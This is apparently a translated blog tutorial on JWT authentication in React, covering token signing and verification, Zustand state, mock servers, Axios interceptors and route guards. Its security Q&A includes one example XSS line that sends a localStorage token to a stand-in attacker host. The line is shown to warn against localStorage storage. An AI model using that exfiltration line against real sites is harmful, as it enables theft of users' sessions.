JWT Auth in React: From HTTP Statelessness to Zustand, Axios, and Route Guards
React + JWT Login Authentication Underlying Principles and Engineering Practices
No fluff, a full-chain source-level analysis from
new XMLHttpRequest()tojwt.verify()
Preface: It All Starts with HTTP's Stateless Nature
1.1 Why Does the Server Never "Recognize" You?
The HTTP protocol is designed to be Stateless. This means that every time a client (browser/app) sends a request to the server, it is a brand-new, independent session. After processing the request, the server retains no contextual information about the client.
For example:
You log in to Taobao, and the server returns { success: true }. But when you then click "My Orders", the server thinks: "Huh? Who are you? Did you log in?" — it has completely forgotten.
Evolution of Solutions:
- Cookie + Session Era: The server stores a
Session(user info) in memory and pushes the correspondingSessionIdto the browser viaSet-Cookie. The browser automatically includes the Cookie on the next request. Drawback: Consumes server memory; in distributed environments, requires shared Session storage (like Redis). - JWT Era: The server stores no state. User information (
{id, role}) is cryptographically signed into a string (Token) and thrown to the client. The client sends this Token in the request header next time. Upon receiving it, the server verifies the signature with a secret key and calculates who you are itself. Advantage: Completely stateless, perfectly suited for horizontal scaling.
Our project adopts the second approach — JWT.
Chapter 1: Unboxing JWT Principles — More Than Just "Encryption"
Referencing your readme.md: "JSON identity object -> JWT (one-way operation) -> Token". What exactly is this "one-way operation"? Let's dive deep.
1.1 The Physical Structure of JWT (Anti-Tampering Principle)
A JWT Token looks like this (familiar, right?):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MjUxMC...zXQ.6tKt4R9d4PpL0...
It consists of three parts separated by .:
| Component | Name | Purpose | Encrypted? |
|---|---|---|---|
| Header | Header | Declares the signing algorithm (e.g., HS256) and Token type | Only Base64Url Encoded (Plaintext) |
| Payload | Payload | Holds user identity data (user, role, exp expiration time) |
Only Base64Url Encoded (Plaintext) |
| Signature | Signature | Hashes and signs Header.Payload to prevent tampering |
Irreversible Encryption (with secret key) |
Underlying Detail (This is key!): Many people mistakenly think JWT is encrypted and unreadable by others. Dead wrong! Just drop the first two segments of the Token into https://jwt.io, and you can instantly decode
{"user":"admin"}. The core of JWT is not "hiding information", but "tamper-proofing".
Signature Generation Formula (HS256 Algorithm):
HMACSHA256(
base64UrlEncode(Header) + "." + base64UrlEncode(Payload),
secret // This is the 'secret819!$' in your code
)
During verification, the server recalculates the signature using the secret. If it doesn't match the Signature sent by the client, the Token has been tampered with and is rejected outright.
1.2 Deep Dive into Sign and Verify in Code (Referencing mock/user.js)
(1) Server-Side Issuance (Sign)
// The jwt.sign in your code
const token = jwt.sign(
{ user: body.username, role: 'admin' }, // Payload
secret, // The server's "private salt"
{ expiresIn: 86400 } // Expiration time in seconds
)
Deep Interpretation of expiresIn: This option not only adds an exp field (Unix timestamp) to the Payload, but more importantly, the verify method actively compares the current time against exp. If current time > exp, it directly throws a TokenExpiredError. So, even if a hacker gets the Token, it automatically becomes invalid after 24 hours.
(2) Server-Side Verification (Verify)
try {
let decoded = jwt.verify(token, secret)
// decoded is now { user: 'admin', role: 'admin', iat: 163..., exp: 163... }
} catch (err) {
// err.name could be 'JsonWebTokenError' (tampered) or 'TokenExpiredError' (expired)
return { code: 401, msg: 'token invalid' }
}
jwt.verify does three low-level things:
- Split and Parse: Splits by
., Base64Url decodes Header and Payload. - Signature Recalculation: Recalculates the Signature using the
secretand compares for consistency. - Time Validation: Checks
exp(expiration) andnbf(not before), etc.
Chapter 2: Zustand Source-Level Principles — Why Can It Cross Components and Routes?
Referencing your readme.md: "Globally shared, cross-route. zustand manages state uniformly in a store state warehouse".
You might have used useContext, but once Context changes, all consuming components are forced to re-render, leading to terrible performance. Why is Zustand fast? Because it is based on the "Publish-Subscribe Pattern" + "Immutable Data Snapshots".
2.1 Zustand's Underlying Mechanism (Handwritten Simplified Principle)
Your code uses create(set => ({ ... })). The core logic of this create function is as follows (simplified source):
const create = (createState) => {
let state; // Closure variable stores state
const listeners = new Set(); // Stores update functions for all components
// This is the set function you use
const setState = (partial) => {
const nextState = typeof partial === 'function' ? partial(state) : partial;
// Shallow comparison, no update if unchanged
if (!Object.is(state, nextState)) {
state = { ...state, ...nextState };
// Notify all subscribed components to re-render
listeners.forEach(listener => listener(state));
}
};
const getState = () => state;
// This is the hook returned by useAuthStore
const useStore = (selector = (s) => s) => {
// Uses useSyncExternalStore to connect to React's concurrent rendering
const snapshot = useSyncExternalStore(
(onStoreChange) => {
listeners.add(onStoreChange);
return () => listeners.delete(onStoreChange); // Cleanup on component unmount
},
() => selector(getState()) // Component only re-renders if selector result changes
);
return snapshot;
};
// Initialize state
state = createState(setState, getState);
return useStore;
};
Conclusion: Zustand precisely controls rendering granularity through selector (i.e., state => state.token). Only when the token you selected changes does the Nav component refresh; if todos change but token doesn't, Nav stays put.
2.2 Why Also Use localStorage? (Persistence)
token: localStorage.getItem('token') || '', // Crucial!
Zustand's state resides in JavaScript memory. Refreshing the page releases memory, resetting state to zero.
We synchronously write the Token to localStorage, making localStorage a persistent cache layer. On page refresh, useAuthStore first fetches data from localStorage during initialization, achieving "login state persists across page refreshes".
Chapter 3: How Does Mockjs "Deceive" the Browser? (Network Interception Principle)
You used vite-plugin-mock. Behind the scenes, it's essentially a Connect/Express middleware intercepting requests at the Vite Dev Server level.
3.1 Interception Timing
The browser initiates fetch('/api/login') -> Vite dev server listens for the request -> Plugin matches url: '/api/login' and method POST -> Directly returns the JSON data from the response function, never reaching a real backend.
3.2 Why Can It Simulate Latency?
Your code includes timeout: 2000. The plugin returns the response after a setTimeout of 2 seconds, perfectly simulating network I/O latency and providing a realistic testing environment for frontend Loading states.
Chapter 4: The Full Lifecycle of Login and Token Issuance (Complete Code Analysis)
Let's walk through the complete flow of clicking login in Login.jsx and dig into every tiny detail.
4.1 Real-time Form Validation (Clever Use of useEffect)
useEffect(() => {
const newErrors = { username: '', password: '' };
if (!formData.username.trim()) newErrors.username = 'Username cannot be empty';
else if (formData.username.length < 3) newErrors.username = 'Username must be at least 3 characters';
// ... password validation
setErrors(newErrors);
setIsValid(!newErrors.username && !newErrors.password);
}, [formData]); // Depends on formData, recalculates on every keystroke
Underlying Detail: The disabled={!isValid} here is not for absolute security (frontend validation offers zero security), but for optimizing user experience — reducing invalid requests, preventing the user from clicking the login button only to be told "password too short" after the backend returns a 400 error.
4.2 State Injection After Successful Login (Atomic setAuth)
const res = await login(formData); // 1. Get { code:0, token, user }
if (res.code === 0) {
setAuth({ token: res.token, user: res.user }); // 2. Atomic update
navigate(from, { replace: true }); // 3. Route navigation
}
An easily overlooked point here: the order of setAuth and navigate. First setAuth updates Zustand, then navigate redirects. Due to React 18's Automatic Batching, the state update and route navigation complete within the same microtask, so when the Pay page loads, RequireAuth can definitely read the latest token immediately.
4.3 "Conditional Rendering" Details in the Nav Component
{!token && <Link to="/login">Login</Link>}
{user && <a>{user.username}</a>}
{token && <button onClick={handleLogout}>Logout</button>}
Why use three short-circuit expressions instead of one if...else? Because this way, elements are directly removed or inserted in the DOM tree, rather than hidden via display: none. This ensures that after clicking logout, the Logout button disappears and the Login link appears without any residual event listeners.
Chapter 5: Axios Interceptors — Best Practice for AOP (Aspect-Oriented Programming)
The config.js you wrote is the "vascular system" of the entire authentication system. Let's dig into the execution mechanism of interceptors.
5.1 The "Queue" Mechanism of Request Interceptors
instance.interceptors.request.use(config => {
const token = localStorage.getItem('token');
if (token) config.headers['Authorization'] = `Bearer ${token}`;
return config;
});
Something you might not know: Axios request interceptors are chained serially. You can add multiple use calls, and they execute in order. The value returned by the previous one is passed to the next.
Why use the Bearer prefix here?
This is the HTTP authentication specification (RFC 6750). The common practice for backend parsing is:
const token = req.headers.authorization.split(' ')[1];
Without the Bearer prefix, the backend would have to guess it's a Token. With the prefix, it's immediately recognized as an OAuth2 standard Bearer Token.
5.2 The "Shelling" Operation of Response Interceptors (Decoupling)
instance.interceptors.response.use(res => res.data);
Although short, this line greatly improves code maintainability.
Suppose one day the backend suddenly changes the data structure from { code, data } to { status, result }. Without an interceptor, you'd have to change res.data.data on every page. With an interceptor, you only need to change this one line: return res.data.result, and the business code const res = await getRepo() remains completely untouched.
5.3 What If the Token Expires? (Advanced Consideration)
Although not written in your code, a robust response interceptor should handle 401:
instance.interceptors.response.use(
res => res.data,
error => {
if (error.response?.status === 401) {
// Clear local invalid token
useAuthStore.getState().logout();
// Redirect to login page
window.location.href = '/login';
}
return Promise.reject(error);
}
);
Note the use of useAuthStore.getState() instead of useAuthStore() here, because interceptors are not React components and cannot use Hooks. Zustand exposes the getState() method to directly read the store snapshot.
Chapter 6: The Underlying Rendering Logic of Route Guards (RequireAuth)
Your RequireAuth component is simple, but it involves core mechanisms of React Router v6.
6.1 What is the Navigate Component?
if (!token) return <Navigate to="/login" replace />;
When rendered, the Navigate component directly triggers a replacement in the route history stack.
- Without
replace, clicking the browser's "back" button would return to the protected/pay, then redirect to/loginagain due to no token, creating an infinite loop. - With
replace, the/payrecord is replaced by/login, so the user clicking "back" goes to the previous page.
6.2 How to Return to the Original Page After Login? (State Passing)
Your Login component has const from = location.state?.from || '/'.
Paired with the route guard:
// Improved RequireAuth.jsx (not in your code, but the logic is implied)
<Navigate to="/login" replace state={{ from: location.pathname }} />
Pass the source path via state. After successful login, navigate(from). This is the smooth login loop closure.
Chapter 7: Deep Dive Q&A — Five Soul-Searching Questions About JWT and Zustand
Q1: Is it safe to store JWT in localStorage? (XSS Attacks)
A: Unsafe! localStorage can be read by any JavaScript on the same origin. If your site has an XSS vulnerability (e.g., a <script> injected in the comment section), a hacker can directly navigator.sendBeacon('//hacker.com?token='+localStorage.getItem('token')) to steal the Token.
Best Practice: Place the Token in an httpOnly Cookie, so JavaScript cannot read it; only the browser sends it automatically, defending against XSS. But be mindful of defending against CSRF (Same-Site Attacks).
Q2: Why does your Mock use the jwt library, but the frontend doesn't?
Because the frontend should never hold the secret! The secret is the salt used for signing. If exposed in frontend source code, a hacker could forge an Admin-identity Token. This is why jwt.verify only happens in mock/user.js (simulating the server side).
Q3: What if I want to get the latest Zustand state in an axios interceptor but can't use a Hook?
Use useAuthStore.getState() (a non-Hook access method provided by Zustand), or use useAuthStore.subscribe to listen for changes. Interceptors are pure functions and do not depend on the React rendering cycle.
Q4: Is jwt.sign synchronous or asynchronous?
Synchronous. Because HMAC-SHA256 is purely CPU-intensive computation, but modern Node.js takes only microseconds to sign a few-kilobyte Token, which doesn't block the event loop at all. Thus, the official library directly provides a synchronous method.
Q5: If a user is logged in, but I modify localStorage in another browser tab, can Zustand perceive it?
No! The storage event only fires cross-tab, but Zustand does not listen for this event. If you need multi-tab synchronization (e.g., logout in one tab logs out all), you need to add this in App.jsx:
window.addEventListener('storage', (e) => {
if (e.key === 'token' && !e.newValue) {
useAuthStore.getState().logout();
}
});
Chapter 8: Best Practice Suggestions for Engineering Directory Structure
Your store directory separates user.js and todos.js, which is a very good Ducks Pattern (Modular State Management).
If the project grows, this layering is recommended:
store/
├── index.js # Unified export of all stores
├── slices/
│ ├── authSlice.js # User authentication
│ ├── todosSlice.js # Todo list
│ └── uiSlice.js # Global Loading, Theme
└── middleware/
└── persist.js # Encapsulated localStorage persistence middleware
Zustand natively supports middleware. You can encapsulate a persist middleware that automatically serializes all state to localStorage, eliminating the repetitive manual setItem in every action.
Chapter 9: Full-Chain Sequence Diagram (Complete Version with Error Branches)
To string together all the fragments in your mind, here is an epic sequence diagram:
sequenceDiagram
participant User
participant LoginPage
participant AuthStore
participant LS as localStorage
participant AxiosReq as Axios Request Interceptor
participant MockSrv as Mock Server (JWT)
participant Guard as Route Guard
participant ProtectedPage
%% Login Flow
User->>LoginPage: 1. Enter admin/123456
LoginPage->>LoginPage: 2. useEffect form validation (length/non-empty)
LoginPage->>MockSrv: 3. POST /api/login
MockSrv->>MockSrv: 4. jwt.sign({user,role}, secret, {exp})
MockSrv-->>LoginPage: 5. { code:0, token, user }
LoginPage->>AuthStore: 6. setAuth({token, user})
AuthStore->>LS: 7. setItem('token') & setItem('user')
LoginPage->>User: 8. navigate('/') redirect to home
%% Access Protected Resource
User->>ProtectedPage: 9. Click to enter /pay
ProtectedPage->>Guard: 10. RequireAuth check
Guard->>AuthStore: 11. Read state.token
AuthStore-->>Guard: 12. Return token
Guard->>ProtectedPage: 13. Allow rendering children
%% Request Protected API
ProtectedPage->>AxiosReq: 14. Initiate /api/repo
AxiosReq->>LS: 15. getItem('token')
LS-->>AxiosReq: 16. Return token
AxiosReq->>MockSrv: 17. Request header carries Authorization: Bearer xxx
MockSrv->>MockSrv: 18. jwt.verify(token, secret)
alt Signature Verification Success
MockSrv-->>ProtectedPage: 19. { code:0, data: ['repo1'] }
else Token Expired/Tampered
MockSrv-->>ProtectedPage: 19. { code:401, msg:'Invalid' }
ProtectedPage->>AuthStore: 20. logout() clear state
ProtectedPage->>User: 21. Redirect /login
end
Conclusion: The Essence of Technology is Solving Scenario Problems
We don't write code for the sake of writing code.
- "HTTP is stateless" — We used JWT.
- "Component communication state sharing" — We used Zustand.
- "Request header carries Authorization" — We used Axios interceptors.
- "Cross-route authentication" — We used RequireAuth route guard.
Every technical point is aimed at solving a specific business pain point. I hope this "Juejin long article" helps you thoroughly understand the underlying context of frontend authentication, rather than just being a "configuration engineer" who only knows npm install.
If you feel this article saved you three months of detours, please smash that like and save button. Your support is my motivation to keep outputting hardcore content!